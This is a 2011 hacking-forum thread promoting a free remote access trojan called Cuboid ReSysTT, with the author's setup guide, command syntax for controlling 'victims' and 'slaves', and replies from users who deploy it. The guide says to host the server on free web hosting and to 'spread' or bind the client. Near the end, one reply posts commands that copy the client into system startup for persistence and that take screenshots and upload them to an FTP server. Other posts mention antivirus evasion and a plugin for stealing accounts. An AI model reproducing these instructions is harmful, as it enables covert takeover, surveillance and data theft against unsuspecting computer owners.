Thread: [\[Notice\]Cuboid ReSysTT \(Beta\) Hybrid RAT no Port Forwarding, No "NO-IP"](#)

???? - May 25, 2011, 9:34 pm

Please read!

Sorry for the immediate halt of the development it's because of my account being compromised. Since, that day. I've been planning to do some complete overhaul of the system, including new interface and new features, so stay tuned and thanks for supporting.

P.S. I'll be removing the life support of the current Cuboid so that I can rebuild the central server from scratch.

[img]http://i.min.us/iu82U.png[/img]

Description: Cuboid ReSysTT(Remote System Take over Tool) is an hybrid RAT designed to be user friendly, easy to use, easy to install, and over all highly customizable.

Current Version: Server - Beta - 12.8.7; Cleint - Alpha - 13.0.0

Update String: Code

eJzLKCKpsNLXT8nRSynKL0jKr9BLzs/VL9U3MjA0NbM0NdN3Lk3Kz0zRDy1ISSxJ1UutSAUArFcQvg==

The program is still in beta stages and I will release it sometime.

Recorded this in a hurry using my sister's pc so forgive me if it sucks.

Screenshots.Spoiler ([Click to View](#)) [img]http://i.min.us/icr6qQ.png[/img]

[img]http://i.min.us/iu4mG.png[/img]

Features:

Easy to use

No Port Forwarding needed(YAY!)

No-IP is not required(again, YAY!)

Highly customizable

Easy Installation

Side note: It currently support some 50 or so functions, more will come so stay tuned!

[img]http://i.min.us/icFDT8.png[/img]

Simply sign up for some free web hosting(Byethost is one of them). Upload some Files on them. And enter the website link on the client builder and the server control center and you're done, simple eh?

More detailed tutorial will be released when the beta version is available.

The commands are typed for the sake of high customization, the syntax is typed as..
(Taken from my quicknotes)

Quote:Current Commands from Cuboid ReSysTT(Remote System Takeover Tool)

The code below will fetch the system information. It will also specify the current online victims.

Code GetInfo

```
{  
}
```

The code below will execute as specific command just replace \$command with the
AdvCommandList below.

Code AdvCommand

```
{  
$command  
}
```

AdvComamndList, Just repalce \$command with the ones specified below.

ex

Code AdvCommand

```
{  
monitor off
```

```
}The command above will turn off the victim's monitor.
```

Here's the list.

Warning, HUGE picture ([Click to View](#))

[img]http://i.min.us/icFoue.png[/img]

I'll be updating this post as time goes by.

Your support will be very much appreciated as it gives me the dedication to finish it.

Changelog:The scripting engine works now! RENAME THE "Plugin" FOLDER INTO "plugin".

Fixed some small issues regarding the plugins.

Some minor fixes.

Instructions

1. Sign Up for a account in byethost.com.
2. Download FireZilla.
3. Download the Cuboid Beta Zip File.
4. Connect to your beythost ftp using firezilla or any other FTP client.
5. Go through your "htdocs" folder.
6. Upload files from the upload folder.
- 6.1 RENAME THE "Plugin" FOLDER INTO "plugin".
7. Build your client using Cuboid's Client builder.
8. Spread the client or you can bind it.

9. Profit!

Or you can watch the video.

How to update the client:

Just copy the update string (shown above) and enter the following code in the server. And run it.

Code UpdateClient

```
{  
"Insert Update String Here(No quotes)"  
}
```

Download(The downloads are updated with the latest versions.): <http://db.tt/5u6XspN>

I'll post the CuLib syntax shortly.

Of you have any questions feel free to ask them below!

You can help by donating, even a small sum is enough. (50Cents anyone?)

bernardbear - May 26, 2011, 12:24 pm

waw i will wait for beta tester dude

zzGoWR - May 26, 2011, 11:52 pm

Holy shit, this looks awesome, when is the release date?

jasperav - May 27, 2011, 12:07 am

"highly alpha stages"

lol wtf

KeGeX - May 27, 2011, 12:56 am

its looks very nice!! i want test it now)) when is release?)

nicotinehere619 - May 27, 2011, 1:00 am

Waiting for this plzz release it soon :D

xSkid - May 27, 2011, 1:12 am

HTTP Botnet.

Nuff said.

This is exactly what your doing, its a "HTTP-RAT" .

???? - May 27, 2011, 1:40 am

(May 27, 2011 01:12 AM)xSkid Wrote: [\[CITE\]](#) HTTP Botnet.

Nuff said.

This is exactly what your doing, its a "HTTP-RAT" .

It's far more than that. You can create your own customized plugins and functions with this. Yes it communicates via WebServer and that's the whole beauty of that.

It's beta time!

???? - May 27, 2011, 2:18 am

(May 27, 2011 01:43 AM)Itz Wrote: [\[CITE\]](#) Woah. Nice man, so everything will be based on writing commands?

Yep, but not entirely. I'll add a pane where I do all the hard work for lazy people.

The beauty of commands is that you can write your own plugins, upload it your server and just type.

Code CallPlugin

```
{
```

```
#PluginName
```

```
Option
```

```
}The Plugins will support exe's batch vbs etc etc almost every single thing that can be executed.
```

[Delta] - May 27, 2011, 3:48 am

look nice RAT

will this FREE or you will SALE it ??

THE HEADMASTER

Zeromusx - May 27, 2011, 4:40 am

Can't wait for this to release since i simply cannot PF.

Would really really like to get this

skater - May 27, 2011, 5:56 am

I can't wait to give this a try my self ^_^

???? - May 27, 2011, 8:19 pm

I'm just ironing out some of the major bugs, may take me two days or so.

I'm really against paid software. So I'm offering it for free. I'll just set up a donate button if you guys want to contribute. :)

skater - May 27, 2011, 9:06 pm

When will this be released ?

???? - May 28, 2011, 12:09 am

I'm still coding the scripting engine. I can't point out an exact date.

Here's a little teaser for the Cuboid Function Execution Engine(CFEE).

Code !#.Lines that stats with a "!#." are comment lines

!#.You code your script using "!" labeling

!#.There are three types of languages currently supported In which is, Batch(!b.), VBS(!v.) and the Cuboid Function Library(!c.)

startProcedure

!#.It's advised to start the code with "startProcedure" this will be required in the future versions of Cuboid.

!b./new

!#./new is required if you want to start a new script. This deletes the previous script and creates a new one.

!b.echo hello world!

!b.pause

!b./run(Normal)

!#.the code "/run" indicates to start the last written script. You can type "/run" andytime provided it's has not been cleared with /new

!#.The code above are batch lines, they'll be executed through cmd you can only run one script at the same time.

```
!v./new
!v.msgbox("Hello world")
!v./run(Normal)
!#.Same thing goes to VBS only the Language label is different.
```

!#.Cuboid Function library(CuLib) works like the same as the two above. It just a little bit different.

```
!c//BlockNew
!#.The action above is required when working with multiple lines of CuLib code it ends with
!c//BlockEnd
!c/TextBox "Welcome" "Enter your Name" "[name]"
!c/If "[Name]" "=" "Defy"
!c/AlertBox "Welcome" "Hello Defy!"
!c/else
!c/AlertBox "Hello" "Hello Guest!"
!c/EndIf
!c//BlockEnd
!#.The code above will ask the user's name if you typed "Defy" it will create a textbox with the words
"Hello Defy!" if not it will produce "Hello Guest!" instead.
endProcedure
```

Zeromusx - May 28, 2011, 12:22 am

I've waited for a free no port forward RAT for ages. And finally!
Good luck with the coding and please let something know if you got it finished

???? - May 28, 2011, 12:47 am

I'm slightly sure I can finish this within three days. The scripting engine is giving me alot of head aches.

Kick Buttowski - May 28, 2011, 1:39 am

Can i be a BETA tester :D

???? - May 28, 2011, 3:49 am

I'll post the beta version of the program in the next few days in the mean time I'll have to set up the cuboid website.

Anonymous.7654 - May 28, 2011, 5:05 am

Looks nice,good luck to working.

RainbowFog - May 28, 2011, 5:08 am

this will be like christmas all over again

Anonymous_1111 - May 28, 2011, 6:05 am

I cummed in my own pants.. Very Nice! Goodluck! I gotta go change my pants..

???? - May 28, 2011, 6:21 pm

Protip. The client and the server have no dependencies(.Net Shit). The code is also coded using barebone functions in other words. It will work in OSes as early as Windows 98. The plugins have their own dependencies, which is awesome in some words.

Zeromusx - May 29, 2011, 12:21 am

(May 28, 2011 06:21 PM)-Defy Wrote: [\[CITE\]](#) Protip. The client and the server have no dependencies(.Net Shit). The code is also coded using barebone functions in other words. It will

work in OSES as early as Windows 98. The plugins have their own dependencies, which is awesome in some words.

Aswome. Then i can run it in my XP sandbox without installing .NET

???? - May 31, 2011, 8:08 pm

Beta has been released!

Please report any bugs here!

joloblow - May 31, 2011, 8:45 pm

nice looking piece of ware

palwinder.singh2 - May 31, 2011, 10:50 pm

Thanks I am waiting it for a long time

pac - June 1, 2011, 2:05 am

I LOVE IT!!! thank you very much!!!! i would +1337 rep you if i could

Sheikh. - June 1, 2011, 2:10 am

Well explained for beginners. Good job mate

???? - June 1, 2011, 3:41 am

Thanks man! I'm still coding all the good stuff like WebCam Capture and Desktop Capture.

Pr0N00B - June 1, 2011, 6:19 am

Looks nice thank you

can i kill the server like in cyber gate
and its slow down the comptor a lot?

Timo - June 1, 2011, 6:27 am

first of all:

-Defy you did a fucking good job,bot because you release it free,so far not a singe multi-command php rat did.

second:

to all of you,keep this thread alive and FKCING SUPORT THIS AWESOM GUY!,that is the less you can do for this awesom guy.

Defy,thanx m8 for making this :D

Stenography - June 1, 2011, 6:36 am

I'm shocked dude !!

Why your not selling it ?!

-=HeX=- - June 1, 2011, 7:41 am

This is fucking awesome. A web RAT with built in scripting capabilities... Me like a LOT

ProXPN - June 1, 2011, 8:04 am

I like it i have been testing it. One suggestion i would give is too add more of a normal rat gui so it is not all command based but keep the connamds in there for stuff that is not in the gui. Another thing i would like to know is how to remove it i was testing it on myself and my VM and it works fine keep up the good work and please take my suggestion into consideration.

Bioblaze Payne - June 1, 2011, 10:21 am

very Nice tool, wrote a Secondlife Account Capture utility with this in the plugins. You should make a post for the plugin section of this. I wouldnt mind putting a few of the plugins im testing onto it.

DarkKoop - June 1, 2011, 11:26 am

Wow, that could be a really nice RAT. Keep up the work!

???? - June 1, 2011, 7:50 pm

(Jun 1, 2011 06:19 AM)Pr0N00B Wrote: [\[CITE\]](#) Looks nice thank you
can i kill the server like in cyber gate
and its slow down the computer a lot?I'll post a plugin script for manual self destruct. And It only uses
10mb of ram.

(Jun 1, 2011 06:27 AM)xxltnt3 Wrote: [\[CITE\]](#) first of all:
-Defy you did a fucking good job, but because you release it free, so far not a single multi-command

second:
to all of you, keep this thread alive and FKING SUPPORT THIS AWESOME GUY!, that is the less you
can do for this awesome guy.
Defy, thanx m8 for making this :D Thanks man, I appreciate it.

(Jun 1, 2011 06:36 AM)PolarX Wrote: [\[CITE\]](#) I'm shocked dude !!
Why are you not selling it ?! I don't like selling my hard work I only want people who can donate to me.

(Jun 1, 2011 07:41 AM)-=HeX=- Wrote: [\[CITE\]](#) This is fucking awesome. A web RAT with built in
scripting capabilities... Me like a LOT Thanks sorry about the variables acting funny. I'll code some
global CCS variables.

(Jun 1, 2011 08:04 AM)ProXPN Wrote: [\[CITE\]](#) I like it I have been testing it. One suggestion I would
give is to add more of a normal rat GUI so it is not all command based but keep the commands in
there for stuff that is not in the GUI. Another thing I would like to know is how to remove it I was
testing it on myself and my VM and it works fine keep up the good work and please take my
suggestion into consideration. That's only the beta server. I know the GUI is a little bit, IDK ugly? I'll
change that later.
I'll post the selfdestruct plugin later.

(Jun 1, 2011 10:21 AM)BioblazePayne Wrote: [\[CITE\]](#) very Nice tool, wrote a Secondlife Account
Capture utility with this in the plugins. You should make a post for the plugin section of this. I
wouldn't mind putting a few of the plugins I'm testing onto it. You can actually run any command line
utility in Cuboid all you need is to upload the file to the plugin folder and post the Plugin command.

Zeromusx - June 2, 2011, 12:25 am

For me who is used to RATs without command line this is a bit difficult. But I'm sure I will get the
hang of it. Anyways great stuff

???? - June 2, 2011, 12:39 am

Scripting engine now works! Update it NAO!
The victim needs to restart the PC for the update to work!
hmmm. I guess only a handful of people only wanted this.
I guess only a few people only wanted this.

AoEMonk - June 3, 2011, 2:11 am

Really good work mate, supporting you 100%! :)

djmayur - June 3, 2011, 1:47 pm

hey it will be good for me.. coz no portforward... really wanted to try it out.. good going

xx claws xx - June 3, 2011, 2:41 pm

what can this do once you have gotten "Slaves"?

skater - June 4, 2011, 4:14 am

This is really nice. I have been looking for something like this for awhile now. But I can't seem to get it working. I guess I'm a Noob hahaha, I created a free webhost (I can also use a paid webhost) and I uploaded the "Uploads" Files to the htdocs. Went to the URL. On index it says "If you are seeing this your web server is OK." So everything was great! Created a Build with the URL and a random Encrptyion code of 1123 lol. Named it "LeetProNoob" It Created a file in my folder (Not sure what do with it honestly LOL I guess this is were the noob comes out). Then I went to Console, typed the URL it was confirmed and then I typed Getinfo{} but it was broken down to

Code Getinfo

```
{  
}
```

And so far nothing lol I have also tryed other commands but nothing is happening :P I'm missing something but I'm still learning :P

Rinkana - June 4, 2011, 5:03 am

Just tested it and it works GREAT. However i tested this on myself and i was wondereing how i could remove myself :P .

autorunman22 - June 4, 2011, 6:48 am

wow this can be the goudbyes of standard rats around?

sn00zz - June 4, 2011, 10:19 am

is it firezilla or filezilla?

ExoMemphiz - June 4, 2011, 11:16 am

FileZilla, sn00zz.

And thanks so much for this! I've never had to "code" my own commands, so that's going to be a bit difficult, but that's the fun of it! Learning something new!

But as you stated before, I also think you should make some of the basic commands in the GUI, it would make this RAT MUCH more popular!

Well, this is amazing, I must say.. Thanks!

Best Regards,

ExoMemphiz

Boo. - June 4, 2011, 11:27 am

I am looking to be a tester. PM me if needed.

Rinkana - June 4, 2011, 11:51 am

(Jun 4, 2011 11:27 AM)MLGBatFastard Wrote: [\[CITE\]](#) I am looking to be a tester. PM me if needed. You can download iit from OP

DarkKiller1547 - June 4, 2011, 12:19 pm

I have error:

file not found, but i uploaded all and gave them all perimisions!

Anonymous.7654 - June 4, 2011, 1:27 pm

Thanks so much for tool..

Rinkana - June 4, 2011, 1:35 pm

How can i remove myself from the slavelist?

And

for the getinfo command you have to go to the feedback tab and download the feedback.txt There you will see everything :)

???? - June 4, 2011, 4:31 pm

as said this is just the beta version of the program. This will get a heavy makeover. Please be patient.

I'll help those who need help after i can get to a pc.

thebigbadwolf - June 4, 2011, 5:25 pm

thanks man .. maby ill give it a try

skater - June 4, 2011, 6:12 pm

My Problem fixed. LOVE this program!!! You're amazing! No homo!

Morse Code - June 4, 2011, 8:37 pm

I use this RAT and I can say it's very good. It payed off studying batch 2 summers ago :p

???? - June 5, 2011, 12:44 am

Cuboid version 2 is under development. New commands, new interfaces, new level of awesomeness coming your way!

Rinkana - June 5, 2011, 2:11 am

(Jun 5, 2011 12:44 AM)-Stitch Wrote: [\[CITE\]](#) Cuboid version 2 is under development. New commands, new interfaces, new level of awesomeness coming your way!Awesome cant wait :D
Do you have any idea when the beta will be released?

jupi9366 - June 5, 2011, 1:55 pm

Little problem i faced is that same command will be executed on all slaves online, would be better if you could target a single slave and perform some command. All in all great tool looking forward for Cuboid 2 :))

P.S can i execute an exe file from webserver on the slave, using CallPlugin ?

G-Star Raw - June 5, 2011, 3:04 pm

Looks great mate :) Might have to have a go of this later ;) :P.

???? - June 5, 2011, 5:27 pm

I know, im still coding the single excution interface.

@jupi. Yep, you can. Just upload it in the webserver and use the plugin command.

skater - June 5, 2011, 7:54 pm

(Jun 5, 2011 12:44 AM)-Stitch Wrote: [\[CITE\]](#) Cuboid version 2 is under development. New commands, new interfaces, new level of awesomeness coming your way!

OH YEAH >:D Can not wait till this happens!

???? - June 5, 2011, 10:13 pm

(Jun 5, 2011 07:54 PM)skater Wrote: [\[CITE\]](#) OH YEAH >:D Can not wait till this happens!

Just think of it as "Cuboid^10". There's tons of possibilities with this code I'm working on.

(Jun 4, 2011 12:19 PM)DarkKiller1547 Wrote: [\[CITE\]](#) I have error:

file not found, but i uploaded all and gave them all perimisions!Make sure you uploaded the files 'inside' of the upload folder not the upload folder.

bernardbear - June 5, 2011, 11:05 pm

edite THE VIDEO TUTORIAL IS VERY VERY BAD.SEE 4 Minutes with 480 p,my eyes is sick and i got headache!!!!shit change it !

???? - June 5, 2011, 11:39 pm

Blame my vid editor. I know, but I'm really not in the mod for some screen capping.

jupi9366 - June 6, 2011, 2:51 am

I'm still unable to call an exe , i uploaded it in to "plugins" folder in a webserver, and trying to launch it using this syntax:

Code CallPlugin

```
{  
#test.exe
```

```
}
```

Zeromusx - June 6, 2011, 3:54 am

This user is great i encourage everybody to donate him even a small amount. When i make some money a part will go to defy/stitch

sBep - June 6, 2011, 10:02 am

Very nice!! I like the whole command line input :D instead of the "point and click". Looking forward to the next version... Again nice work man :)

???? - June 6, 2011, 8:15 pm

@jupi9366

dont include the "#".

Thanks guys for the support!

Peelsaven - June 6, 2011, 8:30 pm

this looks pretty cool man nice job

Loquax - June 23, 2011, 5:58 pm

looks great,im gonna test it,thanks bro! =)

Royal ! - June 24, 2011, 5:11 am

Awesome Work Stitch,I was really looking for a rat that does not need portforward and no-ip shit.

Thanks for this

(Jun 4, 2011 04:31 PM)-Stitch Wrote: [\[CITE\]](#) as said this is just the beta version of the program. This will get a heavy makeover. Please be patient.

I'll help those who need help after i can get to a pc.

Nice ,We wait for a heavy makeover :D

??

SkyWalker™ - June 24, 2011, 5:28 am

I don't like its GUI. Anyway thank you for share.

Royal ! - June 24, 2011, 5:51 am

(Jun 1, 2011 03:41 AM)-Stitch Wrote: [\[CITE\]](#) Thanks man! I'm still coding all the good stuff like WebCam Capture and Desktop Capture.

Yes Please add these two features .

???? - June 25, 2011, 4:12 am

I'm really looking forward to develop the program, but things like school is just interfering with the development of the program. The program is being improved as usual and I'm sure I'll release the next version in some other time.

thedeviousmusician - July 13, 2011, 8:13 pm

This is a really great program, the best part is that it seems to be UD by most AVs without any crypting. I'm really looking forward to the next release. However, I wouldn't recommend byethost for hosting as they seem to have suspended my account, and I lost all my slaves ?

BTW, here are a few useful command combinations I made if anyone finds them usefull:

Add to system startup:

Code AdvCommand

```
{
shellcopy "~$folder.nircmd$/yourclient.exe" "~$folder.system$" yestoall noerrorui silent
execmd rename "~$folder.system$/yourclient.exe" newfilename.exe
shortcut "~$folder.system$/newfilename.exe" "~$folder.common_startup$" "newfilename"
}Just replace the file names with what applies to you, and it should work.
```

Take screenshot and upload it to an ftp server: (I didn't test this one)

Code AdvCommand

```
{
savescreenshot "f:\temp\shot.png"
execmd copy con f:\temp\ftp.txt
execmd echo user ftpuser >> f:\temp\ftp.txt
execmd echo ftppass >> f:\temp\ftp.txt
execmd echo bin >> f:\temp\ftp.txt
execmd echo put f:\temp\shot.png >> f:\temp\ftp.txt
execmd echo quit >> f:\temp\ftp.txt
execmd ftp -n -s:f:\temp\ftp.txt ftp.ftpserver.com
execmd del f:\temp\ftp.txt
execmd del f:\temp\shot.txt
}If you put in the correct info, it should work.
```

???? - September 2, 2011, 11:41 pm

Please read!

Sorry for the immediate halt of the development it's because of my account being compromised. Since, that day. I've been planning to do some complete overhaul of the system, including new interface and new features, so stay tuned and thanks for supporting.

P.S. I'll be removing the life support of the current Cuboid so that I can rebuild the central server from scratch.

thedeviousmusician - September 3, 2011, 11:39 pm
